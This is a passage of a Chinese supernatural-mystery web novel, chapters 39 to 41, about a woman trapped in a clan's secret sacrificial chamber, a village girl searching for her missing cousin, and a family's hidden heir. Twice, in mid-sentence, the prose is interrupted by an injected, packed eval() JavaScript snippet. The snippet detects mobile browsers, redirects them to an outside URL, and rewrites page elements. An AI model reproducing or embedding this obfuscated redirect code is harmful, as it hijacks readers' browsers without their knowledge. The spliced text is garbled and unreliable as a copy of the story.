“这位同志请控制自己的情绪…辱骂警察我可以依法拘留你。” “控制你大爷!你们这些个吃干饭的废物,一定要出事你们才出警是吧?!” “诶诶诶,警察同志,别动手别动手,我师兄也是找人心切,大家互相理解,互相理解。” 贾苍连拖带拽把孟永拉出派出所,心里也纳了闷了,他和二十来个徒弟在吴村问了个遍,都说没看到拾冬,这一大活人还能凭空消失了不成。 “诶,师兄,不可放火!”贾苍回过神看到孟永正划火柴点纸,还以为他想放火烧派出所,可不料,纸刚被烧着,竟咻一声跑了。 贾苍目瞪口呆。 “这一大招,师傅怎么没教给我…” “教你大爷,你也是个废物。”孟永气得头顶直冒汗。 找警察有个屁用。 刘友连轴转了两天,终于帮无头女尸找到头了,正想着歇口气,收到孟永发来的便笺。 一看信上内容,气得一拍桌子,正跟刚和好的女朋友蜜里调油发信息的大虎一抬头,就被老板下达指令, “大虎,你把闲着的兄弟们都叫上。” “干啥。” “小冬不见了。” “啊?啊!” 39. 第 39 章 楼下就谢白一人,原本计划两人一起下去。 “你留下,先别暴露,我下去看看,怎么着我也是吴家子孙,他不敢把我怎么样。”吴昭戈想了想决定自己下去。 “行。” 拾冬看着吴昭戈偷感很重消失在楼梯口,她摸了摸口袋,又一次确认,里面的东西确实不见了。 是什么时候不见的,拾冬没有线索。她走到壁画旁,把手放上去,等了一会,没有反应。 骨灰没有了,她无法完成赵子晴他们的夙愿。 这不怪我,我放在口袋里,谁知道会丢。 这事和我可没关系。 拾冬在心里为自己开脱,努力想忘记那些人期盼望向自己时的眼神。 这时,床上不省人事的人动了一下。 “你醒了?” 姜州眼神迷蒙望着眼前最不可能出现的人,过了片刻,他狠狠打了自己一个耳光,“清醒一点,都是幻觉,清醒一点,姜州。” 拾冬意外姜州这一举动,在他想继续第二个巴掌时,伸手阻止了,“是我,不是幻觉。” 姜州紧紧盯着眼前的人,直到视线模糊,他小心翼翼,用很轻很轻的力靠了上去。 “人死前会看到自己最重要的人,阿冬,你是我最重要的人。” “云黛也是。” 拾冬感到有水珠落在自己手背上。 依旧是一碗水端平的姜州。 小时候她和云黛总会问姜州,你最喜欢谁,姜州每次都说你们两个都是我最重要的人。 拾冬抬手,眼泪顺着肌肤纹理划过手腕,过了几秒,她又放下。 如同当时无法安慰云黛一般,她也无法安慰姜州。 “姜州,我是拾冬,现在一切都不是幻觉。我问你,你是怎么进来的,你知道怎么出去吗?” 不知道谢白到底给姜州吃了什么,此时他眼神涣散,意识混乱,很有可能是控制神经的药物。 “吴妈,密室...爷爷发现,打我...药苦..”一回忆起这个,姜州就开始头痛,他用力拍着头,企图回忆起什么,但说出的话零零散散,提供不了什么有效信息。 “别打了,想不出算了。”拾冬阻止姜州不停捶头的动作,把他扶好躺平,“你先休息一下,我会带你出去。” 怎么楼下一点动静都没有。 拾冬想了想,还是决定自己下楼看看。 “阿冬,对不起,那个时候我没有拦住他们,我好没用...” 姜州陷入某种虚空的境界,他已经分不清面前的一切是真是假,好多思绪一齐涌来,汹涌淹没了他。 这些天,他看到了很多人,踩死自己养了很久才开的花的爷爷,只在外人面前才对自己有好脸色的爸爸,以及自己一靠近就迫不及待避开,却能转身温柔拥抱吴昭则的妈妈。 还有村里见谁都笑眯眯,却唯独对自己冷眼相待的吴妈。 一定是我不够努力,一定是我不够听话。 姜州努力学习,考上好大学,拿了很多奖,可是,他依旧活得像个透明人。 被领养的时候,院长妈妈说,州州要去过好日子咯。 可是为什么,为什么我一点都不快乐? 州州好痛苦。 州州好难过。 他又想起了云黛,在新闻上得知云黛死的那天,他在大街上走到半夜,他想哭,可是哭不出来。 他在心里一遍遍指责自己心狠,指责自己冷血,他想用眼泪祭奠好友的死去,仿佛只有这样,才符合大众的标准,大家死了朋友都会哭,为什么就你哭不出来,哭啊,姜州哭啊! 可他怎么都哭不出来。 他和云黛好久没有联系了。 姜州真是个差劲的人。 “你已经很好了。” 姜州眼神空洞望着头顶天花板,源源不断的眼泪流进发隙。 拾冬站在楼梯口,有些犹豫。 下去可能是陷阱,不下去,她也找不到出去的办法。 即使她留在这,也迟早会被发现。 去吧。 拾冬抓着扶手下楼。 楼梯下了三分之二,底下依旧什么声音都没有。从这个位置看下去,已经能看到楼下的青色地砖和一半祭坛。 就在拾冬打算接着往下走时,脚下的楼梯的隔板突然消失,她来不及反应,一脚踩空整个人摔了下去,掉进一张网里。她狼狈爬起,立马想起西游记里,被珍珠背衫套住的猪八戒。 一转眼,两眼一黑。 哦,不远处竟然还有一只猪八戒在网里。 那只被捂嘴的猪八戒冲自己讨好一笑。 * 吴昭宁在祠堂转了半天,也没有去后室一探究竟的勇气。她沮丧回到自己家,一开门,听到二楼传来爸妈的争吵声。 “离婚吧,我真是受够在你家当孙子的日子了,大清都亡多少年了,你吴家还搞外姓歧视这一套,老子不伺候了!” 今天大祭,蔡弘伟特地换了身褂子,结果连进殿的资格都没有,他好歹也是人民教师,在外谁见了不得喊一声蔡老师,一回来,就受尽吴家人贬低。 “你嚷什么,当上教导主任翅膀硬了?要跟我离婚?你和那个王老师那点破事我都不稀得说,别当我是傻子。” “你别血口喷人!我那点破事?你吴靖柔好得到哪去,你新招的那个特助,身材真不错啊,长公主养面首,你们吴家人真是厉害!” “蔡弘伟!” 吴昭宁在一阵噼里啪啦声中关上门,一扭头,看到身后的奶奶。 “走吧。”吴天容拄着拐杖走出院子。 吴昭宁跟在奶奶旁边,在她十岁之前,爸爸妈妈是从不吵架的,后来她慢慢长大,他们吵架的次数也多了,现在想想,也许并不是十岁之前不吵,只是不当着她面吵罢了。 “你爸你妈不会离婚的,别担心。” 吴昭宁回过神,听到奶奶这么说,也不知是想表达自己的豁达还是失望,她随手捡起一根树枝,边晃边说:“他们不必为了我强行在一起,离了我也不会怪他们。” 吴天容笑笑,“不是为了你,你爸很爱你妈。” 没几个男人愿意自己的孩子随母姓,当时蔡弘伟跪在地上点头应允的模样,骗不得人。 “奶奶,人都是会变的。” 吴昭宁见过爸爸爱妈妈的样子,总之不是现在这样。 “爱也是会变的。”吴天容走累了,坐在路边的石凳上,河水从浑浊的眼前潺潺而过,“就像眼前的水,不停在流,每个阶段的爱也不同,宁宁,你也不是一成不变的。” 吴昭宁若有所思。 * 吴昭则一回家就洗澡换衣服,等他清清爽爽从浴室出来,正要吹头发,爸爸就推门进来了。 “爸...” 吴靖贤嗯了声,坐在椅子上说:“你爷爷把昨晚的事都跟我说了。” “爸,我不是故意打小七的。”吴昭则以为爸爸是来兴师问罪的,急忙为自己辩解起来。 “我不是说这个。”吴靖贤不以为然摆手,“我要交待的是今晚的事。” “...今晚怎么了..”吴昭则只知道今晚还有个祭祀,可具体内容,他并不了解。 “今晚不管发生什么,你只需要看着,记着,别的一概不管。” 吴靖贤说完这话后,吞了吞口水,这话,也是对自己说的。毕竟他也没亲眼见过,爸爸从小到大给他讲的祖宗献祭到底是怎么献祭的。 今晚对他,对儿子,都是一次历练。 但是, “昭则,总之都是为了吴家,为了你以后掌管吴氏集团,懂吗?” 吴昭则郑重其事点头,“爸,你放心,我一定会听你们的话。” 吴靖贤满意离开。 * “都找了,兄弟们也问了这附近的野鬼,都没看到。”刘友疲惫仰躺在沙发上,“孟老头,你再想想线索。” 还有什么线索。 孟永猛抽了口烟,昨晚他就不该贪睡,要是跟着郁之一起去找,也不会出这档事。 “老板,我刚听个兄弟说,这有个找大师净过宅的祠堂,孤魂野鬼们都进不去,他们会不会在祠堂?”大虎想起刚刚经过祠堂时,确实感到不适,便急匆匆跑了。 “祠堂对外开放,我找七八遍了,没看到人。” “每个地方都找了吗?” “人家祠堂后面不对人开放,我怎么去?” “有没有可能小冬就在那?” 孟永抽烟的手顿住,几秒后,他站起来,“我再去一趟。” “别急,你大白天去,明摆着会被发现,等天黑再说,放心,小冬福大命大。” 孟永坐回沙发,看了一眼艳阳高照的天,不甘叹气。 郁之站在树荫,一阵风吹来,树叶沙沙作响。 “目前安全。” “嗯。” “要属下留下帮忙吗?” “不用,她会自己想办法。” “黎主上交待,请您不要动用法力,以免带来麻烦。” “嗯。” “她还托我转答一句话。” “说。” 郁之等了一会儿,对面没出声,狐疑皱眉,正要追问时,那声音咻一声擦过耳畔。 “主上说,别当舔狗!” 树叶沙沙声顿止,郁之神态自若摘下一片叶子,两指揉着叶梗,左右旋转,眯眼看向外头高照的日头, “要她少管闲事。” 本少爷有自己的节奏。 * 再醒来,一看手机,五点半。吴昭宁和奶奶回来后,妈妈的车已不再院内,爸爸也不见踪影,她在客厅给奶奶开好电视,回房倒头就睡。 竟然睡到现在。 她照例给吴昭戈发信息,发视频,还是没人接。 中午大家在祠堂吃饭时,她特地去问了七爷爷,七爷爷说吴昭戈不舒服在家休息,自己提出要去看他,七爷爷又改口说,他被他爸带去建丰看医生去了。 吴昭宁没有追问,她知道,这些都是假的。 吴昭戈一定在那个密室里。 她从床上爬起,拉开窗帘,日头有沉下去的迹象,但天光依旧亮堂,吴昭宁一觉睡醒,神清气爽, “爸爸说得对,大清都亡多少年了,我倒要去看看那后室到底有什么!” 吴昭宁拿上手机出门。 凭着一腔脑热的吴昭宁到了祠堂,祠堂里还有不少人。 她们都是来负责清扫,整理祭祀过后垃圾的村里女人。吴昭宁望着上午一地彩纸,鞭炮的地面已恢复如新,巨大的红色地毯卷好,摆放在一起,两人一人一头抬起架在肩上,步履稳健地抬着离开,另一边手还提着满是红色纸屑的簸箕。 吴昭宁想起祭拜时站在前头的男人们,他们此时也许在酒桌上侃侃而谈,也许在家休息,总之,他们只需要站在最前面享受身为男人的特权,至于身后的事, “这些都是女人做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759368|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 他们满脸酒气,随意弹了弹烟灰,笑得理所当然。 吴昭宁心里涌起一股无名之火,这是第一次,她因为性别而产生愤怒情绪。 她想起每次家族吃饭,做菜的女人,端菜的女人,在外雷厉风行的妈妈有时也要围上围裙洗碗,她自己也会被家里堂伯使唤帮忙盛饭,倒酒,顺便被教育几句,女孩子早点成家,别像谁谁谁,年纪一大把了还嫁不出去。 那些纷至沓来的细节,如同一把把小刀,划在裹住她的茧上。 因为大典,后堂没有锁门,等回过神,吴昭宁已经到了供堂门口。 从来没有来过的地方。 虽然比喻很大逆不道,但吴昭宁此时的心情和即将要进男厕所参观是一个感觉。 她神情紧张地前后看了看,在确信没人后,深吸口气,推开了供堂大门。 门发出陈旧一声响,九层佛龛上蜡烛微微摇晃。 吴昭宁迅速关上门后,心里有些恍惚和茫然。 以为有生之年都不会进的地方,自己就这么进来了?就像游戏通到最后一关,以为是无敌大boss,结果没两三下对方就缴械投降了。 她新奇又紧张看了几圈后,想起自己的主线任务。 找密室。 吴昭宁不敢靠近佛龛,生怕冒犯祖宗,可剩下的灯和香案,也不像能开密室的样子。 死马当活马医吧。 她学着在电视剧里看到的那样,小心翼翼转了灯座和香案上的香炉,一无所获,好不容易进来,吴昭宁不想空手而归,她打起了地砖的主意。 听说敲上去听着是空的话,就有问题。 吴昭宁耐心十足,把手机随手放在地上,从最边上开始蹲在地上敲地砖,多亏了今天上午跪了那么久,现在她的膝盖已经成长了。 “这个不是。” “这也不是。” “这个呢,好像也是实心的。” 不知不觉,天渐渐暗了。 吴昭宁浑然不觉,孜孜不倦敲完了所有地砖,手指节都敲痛了,一无所获。 “怎么办啊。” 吴昭宁看外面天色已暗,一边不甘心就这么走一边又担心万一这个时候有人进来发现她就完了。 正巧这时手机响了,在这安静的空间显得格外突兀,吴昭宁来不及思考,拿上手机匆匆离开。 吴靖柔开了一百多公里,在高速服务站加油的时候,才想起公司的文件没拿,折返回去是不可能了,想起上午刚跟蔡弘伟吵完,她直接打电话给吴昭宁,响了很久,终于通了。 “宁宁,我房间桌上有个黑色文件袋,你现在赶紧联系快递给我加急寄出来,我明天下午要用。”吴靖柔自顾自一通说完,等了几秒,对方没回复,她不耐烦皱了皱,追问,“你听到没有,说话啊。” “哦哦,妈,我在。”吴昭宁平安无事出了后室心才镇定下来,“听到了,我马上联系快递。” “对了,一楼茶几上的东西,是我给吴妈带的补品,出来的急给忘了,你有空帮我带给吴妈。” 吴靖柔小时候是吴妈看大的,对她格外有感情,逢年过节都会给她带点补品慰问一下。 “吴妈不是去走亲戚了吗?”吴昭宁想起上午村里婶婶的话。 “谁告诉你的,吴妈哪还有亲戚?”吴靖柔不耐烦皱眉,接过加油站工作人员递来的找零后,不容置喙地继续下达命令,“你别说那么多了,就两件事,寄快递和送补品,会了吗?” 吴昭宁听着妈妈这跟员工说话一般的严厉口气,再多的话也默默咽下去,低低回了一个好。 那头连再见都没有,迅速挂了电话。 吴昭宁失落走出祠堂。她先是回家给快递打电话,吴村到底是个村,一般送到村里的快递都是集中一个点送,没有城市那么方便,打过去那边的快递说下班了,最晚也得明天才能来取件。 吴昭宁给妈妈发信息说明情况,等了一会儿没有回复,于是提上补品,去做妈妈交待的第二件事。 给吴妈送补品。 端午大典过后,来祭祖的人们已陆陆续续离开,村子又恢复往日平静,吴昭宁去送补品的路上经过亮着灯的吴昭则家,她看了一眼,默默往前走,在她看不到的房内,一只苍老的手拉开抽屉,没一会儿,四位男性从容有序走进密室。 “吴奶奶,你在家吗?奶奶?” 搞新农村建设时,念在吴妈无儿无女,二爷爷特地派人给她的老房子简单翻新了一下,虽然是个小平房,但一个人住足够了。 吴昭宁小时候会跟着吴靖柔在过年时一起去吴妈家拜年,她每次都会从大铁皮罐里拿出好多吃的,以及一些不知从哪搜罗来的小孩子玩旧的玩具,临走前会趁着妈妈不注意给她偷偷塞红包。 吴昭宁敲了几遍门都没人应,她试探性拧了拧门锁,竟然开了。 一开门,屋里一股难闻的味道涌出来,毫无防备的吴昭宁连鼻子都来不及捂,吸了满肺,她连忙退了两三步往旁换了好几口气。 听说老人上了年纪会有老人味,可这味道也太大了吧。 吴昭宁连门都没进,屏气站在门口,把东西放进屋,就要关门离开时,又不禁感到疑惑,吴妈都不在家,为什么味道会这么重? 脑海不合时宜想起看过的刑侦剧,这个味道不会是.... “吴奶奶,我进来了。” 吴昭宁进入吴妈的家的同时,在她身后不远处的对面,孟永和郁之也径直朝着祠堂方向走去。 40. 第 40 章 “现在我们怎么办啊?”吴昭戈蹬着网,在空中来回摆动着,一副既来之即安之的闲散模样。 “能怎么办,等死呗。”拾冬困在网里,被吴昭戈撞的连续转了好几圈后,终于忍无可忍开始反击了。 “你个废物!” “女人,你说谁是废物!” “除了你还有谁!” “我丢你...” 谢白从楼上下来,看了一会儿不远处打得不亦乐乎的空中二人,他走到楼梯边旁,解开其中一根绳子,正准备还击的拾冬感觉自己迅速下降。 “喂,你干嘛?!”吴昭戈在网里看着谢白把人放下来后,动作麻利反绑住她的手,网也不取,就这么把她拖上祭坛。 “你想干什么?”拾冬先是看了一眼祭坛,白布下隆起的形状,看样子是个人,又转头看向谢白。 这个男人,眼角带疤,眼神平静看向自己,脸上不带多余的表情,就像一个假人。 可越是这样,越让人感觉平静下是深不可见的漩涡。 “路民跟我提过你。” 几乎是条件反射,拾冬绷紧了后背,双手开始挣扎,扭动,企图挣脱手腕的绳索。 谢白无视拾冬想逃跑的举动,一边踩住网绳,一边掀开祭坛上的白布。 拾冬这下终于看清了祭坛上的人。 他闭着眼,双颊瘦削,胸口轻微起伏,除了隐私部位,接近赤裸,皮肤透着常年不见阳光形成的不健康的白。嫡长孙祭祀,那他起码比吴昭则要大,可看上去,他比刚满十八的吴昭戈都小。 半空中的吴昭戈也一脸震惊,他从没见过这个人。 “他是谁?”吴昭戈忍不住发问。 谢白把那人抱起放在地上,一边大发慈悲解释:“你们吴家真正的大公子,吴昭州。” “你放屁!” 谢白懒得搭腔,他现在有更重要的事要做。 拾冬想跑,可谢白牢牢踩着网的抽绳,她出不去,手也被捆绑在身后,在反复挣扎无果后,她企图冷静,说出的话却在抖:“路民跟你说了什么?” 谢白嘴角淡淡一笑,他享受这份高位者游刃有余的快感,望着网里的拾冬,明知故问:“你觉得他会跟我说什么?” 呼吸声重到无法忽视,拾冬隔着网眼望着面前的人,他的脸一会儿清晰一会儿模糊,直到他移开脚,网眼从眼前一点点撤离。 好像...好像... “路民说,他很喜欢给你掀头纱,你看,现在这样像不像...” “闭嘴!闭嘴!闭嘴!” 她陷入无尽黑暗里。 “喂,你放开她,你要干什么!” 吴昭戈看着男人把不断挣扎的拾冬打晕后放在祭坛上,他用力扯着渔网,手勒出血了渔网还是毫发无损,“你别伤害她,你一个大男人做这种事恶不恶心,你是不是男人?” 谢白对吴昭戈无能狂怒充耳不闻,背对着他细细端详祭坛上的人。 哭了呢。 他手指轻轻拂去她眼角残留的泪痕,在没有察觉的身后,一个人摇晃着下楼了。 * “吴奶奶,我进来咯。” 吴昭宁穿的旗袍没有口袋,又拎几大盒补品干脆就没带手机,这会儿捂着鼻子在墙边摸索了十几秒才打开客厅灯。 客厅不大,家具也很简陋,几张掉漆的凳子随意摆放在室内,靠墙的原木桌上泛出一层油渍,上面盖着一个老式的白色饭菜罩,吴妈常用来听戏的收音机也搁在上面。正对着墙上挂了一面褪了色的红色方形镜子,镜托上有两把密齿小梳,几根白发映在镜子里。 不会是菜的味道的吧。 吴昭宁掀开饭菜罩,果不其然,是这味儿没跑了。 她犯恶心的同时也放下心来,差点以为要变成凶案现场的第一目击者。 “吴奶奶,你自己回来处理吧。” 吴昭宁捂着鼻子就要跑,这时不知哪传来“一闪一闪亮晶晶,满天都是小星星..”的儿歌声把她吓得一哆嗦。 “这次又是什么啊。”吴昭宁一边抱怨一边朝声音发源地走去。 发声地方是吴妈卧室。 打开房里的灯后,先是看到正对着的衣柜,衣柜顶上堆了一些杂物,一根鱼钩悬挂在半空。左手边一张挂着发黄的白蚊帐老式拔步床,发声的东西正在床旁边的五斗柜上,吴昭宁注意到,卧室的地板和外面的水泥地不同,竟然是木质的。 难道要脱鞋? 吴昭宁担心踩脏地板,踮着脚走到五斗柜旁,拿起那个月亮形状的小闹钟一边找开关一边自言自语:“吴奶奶还挺童趣,有个这么可爱的小闹钟。” 她找到闹钟后面的开关按钮,刚拨到左边,声音停止的刹那,一张字条从月亮上面吐了出来。 吴昭宁漫不经心拿下字条,上面歪歪扭扭写着三个字母, SOS—— 吴昭宁心猛缩了一下后迅速扩张跳动,注意到散落在五斗柜上的其他纸条,逐一查看后,上面无一例外是SOS——。 会不会是巧合,吴妈大字不识一个,怎么会写SOS——。 吴昭宁想起妈在电话里说吴妈没有亲戚,又结合现在手里的字条,她忍不住吞了好几下口水,如果这纸条是一天一出的话... 她坐在床边数了数五斗柜上的纸条,有七八张。 一星期。 鸡皮疙瘩不自觉冒了出来,她搓了搓手臂,手里的字条掉了下去,吴昭宁俯身去捡,鬼使神差般想到刚在祠堂敲地砖的画面,她用手轻轻敲了敲,木质地板听不太出来,但她还是耐心十足一路敲下去,终于在衣柜旁的地板下听出了空荡的回声,与此同时,还看到了其中一块地板右上角上,嵌着一个极小的圆环,不仔细看根本发现不了。 她试着去拽,圆环太小,不好着力,她起身想找工具,一抬头就看到了衣柜上的那个鱼钩。 吴昭宁把鱼钩拽下来,对着圆环一勾再一拽,一块方形地板竟这么被拽了起来。 吴妈家有地下室! 吴昭宁掀开木板往里看,长长的楼梯直通底下地面,有微光透出来。 虽然知道现在不是逞能的时候,最稳妥的办法是出去找人。 但很邪门,吴昭宁就是想逞这个能。 “不管了。” 吴昭宁深吸了口气,小心翼翼爬下了楼梯。 * 孟永和郁之刚走到祠堂,迎面碰到了贾苍说过的打了一辈子光棍的老三,吴天义。 “这么晚了,你们还来祠堂干什么?” 吴天义掌管祠堂大门钥匙,除了端午这样的重要祭祀,平时到晚上,都是由他来关祠堂大门。 “我徒弟手机掉在祠堂了,来找。” 郁之在一旁点头。 “祠堂要关门了,明天来找,不会丢的。”吴天义上下打量着两人,站在门口拦着不让进。 “不行,我们明天一大早的车要走,通融一下,我们找到就出来。” 即便孟永言辞恳切,但吴天义还是不让进,这时郁之突然眉头一皱,刚还漫不经心的模样顿时变了,没等其他两人反应,他已经迅速跑了进去。 “郁之!” “你们站住!” 吴天义追着两人也进了祠堂。 * “你在干什么!” 吴天华等人一进密室,就看到了晕倒在楼梯边的吴昭州,而被吴昭州放下来的吴昭戈正被谢白双手反剪,按在祭坛上不停挣扎。 原本在祭坛上的人也由祭品变成了那个从画里出来的女人。 吴天华不知道这是怎么回事,但是吴氏祭坛上出现女人这种违背祖宗的事,让他火冒三丈。 “谢白,你赶紧把那个女人扔下来!” “谢白,把我孙子放了!”吴天其看到吴昭戈脸都快变形了,先吴天华一步跑向祭坛,边跑边骂,“反了天了,敢动我孙子,你也不看看自己几斤几两。” 结果刚上祭坛,就被谢白一脚踹了下去,吴天其胖,滚皮球似的滚下台阶,吴昭则十分有眼力劲上前接住了痛得哎哎哎一迭声叫的吴天其。 “谢白,你要干什么!要干什么啊!多少钱我都给你,你赶紧把那个女人弄走!弄走啊!”吴天华看吴天其这样也不敢贸然上去,无计可施在底下气得用拐杖直杵地,吴靖贤在一旁帮忙顺气。 “你吴家的事先放放,我有别的事要做。”谢白看了眼手下不断挣扎的吴昭戈,冲吴天其说,“你这孙子有点碍事,好好看好他,不然我的杵可不长眼。” 说完,利落地把吴昭戈推下祭坛,吴天其赶忙接住。 “你们放开我!”吴昭戈在吴天其和吴昭则的钳制下挣扎起来,“吴昭则,你这个叛徒!亏我那么相信你,我永远都不会原谅你!” 吴昭则愧疚得没出声,跟着吴天其把吴昭戈拉离祭坛。 谢白无视底下的咋咋呼呼,他拨开在祭坛一侧的引血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765341|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槽,引血槽下的图腾曲曲折折通向祭坛底下的血瓮。 “不可以,不可以啊,不要玷污了我吴家的血脉,不要啊..”吴天华再也顾不得害怕,深一脚浅一脚拄着拐杖就上了祭坛。 祭坛的血瓮,是他们吴家人的血,不可以有外人的血流进去,不可以啊! “你住手,住手!” “爸,你小心,小心..”吴靖贤在底下殷切喊着,人就是不上去,眼睁睁看着吴天华被谢白轻而易举地给推下来后,他才大张旗鼓地跑过去,“爸,你没事吧,你可千万不能有事啊...” 谢白对底下的声音置若罔闻,他望了一眼旁边供台上不断震动的葫芦,眼里多了一点笑意, “你等一下,马上就结束了。” 谢白刚说完,心窝结结实实挨了一脚,他被惯性带着没站稳,从祭坛上摔了下去,吴天华怕他再上去,和吴靖贤两人用尽全力拖住他,不能让他玷污吴家血脉。 苏醒过来的拾冬从祭坛上踉跄下来,后颈还有些许麻意,但她顾不得那么多,眼下得赶紧出去。 “你们放开我!”吴昭戈趁旁边两人没留意,用力挥开两人,上前搀住拾冬,关切发问,“你没事吧?” 拾冬摇头。 “老七,拦住他们。”吴天华这一晚上操碎了心,这边要拦着谢白,那边要提醒吴天其拦住他那大逆不道的孙子,急得嘴角都快起泡了。 吴天其也知道,一旦吴昭戈出去,他一定会报警,可是如果拦下他,自己孙子也很有可能会被吴天华害死,正当他犹豫之时,楼上噼里啪啦下来几个人。 “师姐。”郁之一下楼从吴昭戈手里夺过拾冬,将人半抱进怀里。 “你怎么来了?”拾冬不习惯和人这么亲近,用手微微隔开一臂的距离。 “丫头。”孟永一下楼看到拾冬额头的淤青还有憔悴的模样,火气腾一下涌起,“谁打的,哪个王八蛋打的,他娘的,打狗还得看主人,告诉我,谁打的..” “你说谁是狗?” “我这是比喻懂不懂,没文化。” “你们怎么进来的!” 孟永朝吴天华讥讽一笑:“就你们那过家家似的机关拦得住老子?” 吴天其正要反驳,一抬头,看到吴天义,心一惊,“三哥,你怎么来了..” 吴天义站在台阶上,一言不发望着不远处的吴天华。 “我们出去再说,吴昭戈把你哥带上。” 吴昭戈俯身把昏迷不醒的吴昭州扶起,要不是刚刚他把自己放下来,现在那女人还能在这发号施令,这个女人怎么那么讨厌,我哥那么重,你怎么不帮忙一起。 吴昭戈咬牙把吴昭州架在肩上,一抬眼看到她已经和刚刚跑来的那个男人一前一后准备上楼,男人的手还虚虚围在她手边,怕她摔倒。 她现在是我全世界最讨厌的人! “你们谁也别想走。” 谢白挣开吴天华等人,迅速跑到供台旁,拿过上面的葫芦,拔开栓子,一缕缕黑气从狭小的葫芦口渗出,没多久,半空中出现一个个黑影,他们没有具体五官,身形如五六岁的孩童,漂浮在空中, “五阴聚,万魂哀,葫芦肚里烧形骸①,去!” 一声号令,黑影迅而猛冲向在场所有人。 * 吴昭宁终于下了楼。 地下室气温比上面冷一些,眼前走道狭窄,一盏孤零零的老式白炽灯吊在墙边,看上去和玩过的密室逃脱很像,空气中有青苔的潮湿味道,自己的呼吸声成为唯一的声音来源。 吴昭宁抬头看了一眼头顶的灯光,她在犹豫,到底该不该现在回去叫人。 爸爸妈妈不在,奶奶年纪也大了,她能叫谁呢? 反正她不会再信任昭则了。 吴昭宁手指轻轻擦过粗糙的水泥墙壁,比起犹豫的心情,一股更强烈想要独自探索的欲望驱使她迈出了第一步。 走吧。 吴昭宁走了大概五十米经过一个转角后,眼前是一条五六百米的过道,墙壁两边虽然有灯,但有好几盏已经不亮了,灰蒙蒙毛茸茸的光线团在一起,显得整个空间更为逼仄,昏暗。 吴昭宁扶着墙壁缓慢往前走,心随着步子的迈进已经从左心房逐渐移到嗓子眼,走完过道一转弯,赫然看到一个人躺在过道里,吴昭宁一声尖叫,心扑通从嗓子眼跳了出来。 “妈妈...救我!” 吴昭宁蹲在地上吓得哭了出来。 41. 第 41 章 所有人躲在孟永身后,大气不吭一声,第一次见这场面的吴昭戈,眼睛里全是对超自然现象的崇拜,指着外面一个正不断用身子撞防护圈的小鬼,满脸兴奋地说:“那个,好像哈利波特的多比..” “死小子,闭嘴!”吴天其战战兢兢,生怕一不留神就要被外面那些东西吃掉。 孟永出来得着急,身上只带一把糯米,和几张黄符,眼下这么多小鬼,他的阵法坚持不了多久。 “它们很快就会撞破封印进来,郁之,把那几个老头扔出去。”孟永可不想因为那几个陌生人害自己没命。 “不行,不行,不能扔我,我是一家之主!”郁之还没开始动手,吴天华就率先嚷嚷起来,“大师,你救我,多少钱我都给。” “你给我多少钱都没用,再不减少几个人,我们都得死!”孟永枯瘦的脖颈侧面青筋暴起。 “那扔他们几个,扔他们...”吴天华指着吴天其等人建议,“把他们推出去,我们的压力就小了,然后等事情结束,我给你一大笔钱,吴氏集团我说了算,你想要多少钱我都能给。” “爸!我是你儿子啊!”吴靖贤听到吴天华要把自己扔出去,不可置信哀嚎起来。 “你闭嘴,我怎么会生出你这样的蠢货,连同你儿子,也是蠢货!公司给你经营成什么样了,要不是这些年我和老五看着,公司早给你败光了。”吴天华紧紧贴在孟永旁边,生怕被扔出去。 他守了一辈子的公司,兢兢业业了一辈子的公司,好不容易有了儿子,有了孙子,结果,一个比一个蠢,只想着享福,还不如那个领养回来的孩子灵光。 吴天华一开始没有打算领养孩子。 吴靖贤的老婆安逸,以出国留学的由头,在国外偷偷生下了吴昭州。吴天华从小就教育吴靖贤,生下的第一个孩子承担着吴家延续的重担,他不可干涉。 于是真正的吴昭州一生下来就养在密室,由从小到大跟着吴家,信得过的吴妈照顾, 吴靖贤的老婆一开始也闹,但拿到好处费后,便闭嘴了。 一个孩子换一辈子的荣华富贵,安逸拎得清,于是抓紧生下了吴昭则。 吴昭则一出生,一家人格外重视,特别是安逸,像是为了弥补,凡事亲力亲为,费了不少心思,可吴昭则像中了邪,白天夜里日日嚎哭,哭到嗓子哑也不停,去医院成了家常便饭,那么小的婴儿,天天扎针,安逸常常以泪洗面。 这时安逸被传出她在国外早生过一个孩子,那人和她同一家医院,还拍了照。但由于没人见过这孩子,外人纷纷猜测安逸给吴靖贤戴了绿帽子。 流言蜚语,甚嚣尘上。 吴天华怕影响家里生意,秘密托人从外带回了一个孩子。 “他八字硬,用来挡昭则的煞气,顺便堵那些人的嘴。” 那个人便是姜州。 姜州以吴昭州的身份出现在吴家,对外说是吴家第一个孩子,因为常年生病,一直在国外治疗,现在终于回来了。 虽然悠悠之口难以堵住,但姜州的出现确实平息了一些疑虑。 姜州很聪明,也很懂事,教一遍的东西便牢牢记住了,不像吴昭则,唯唯诺诺,一脸蠢相。 要不是姜州不知怎么进了密室,发神经想带走那个当做祭品的孩子,吴天华是计划以后让他辅佐自己蠢孙子的。 “撑不住了,郁之,扔人!” 吴天华生怕要扔自己,于是先下手为强,把离自己最近的吴天其往外推,吴天其一手拽着吴天华,一手死死巴着墙壁,嘴里破口大骂:“吴天华!这些年我是怎么对你的!为你鞍前马后,你就这么对我!我真是瞎了眼了!” “你闭嘴!你是为了我吗?你是为了你自己!秀兰可是你埋的!” 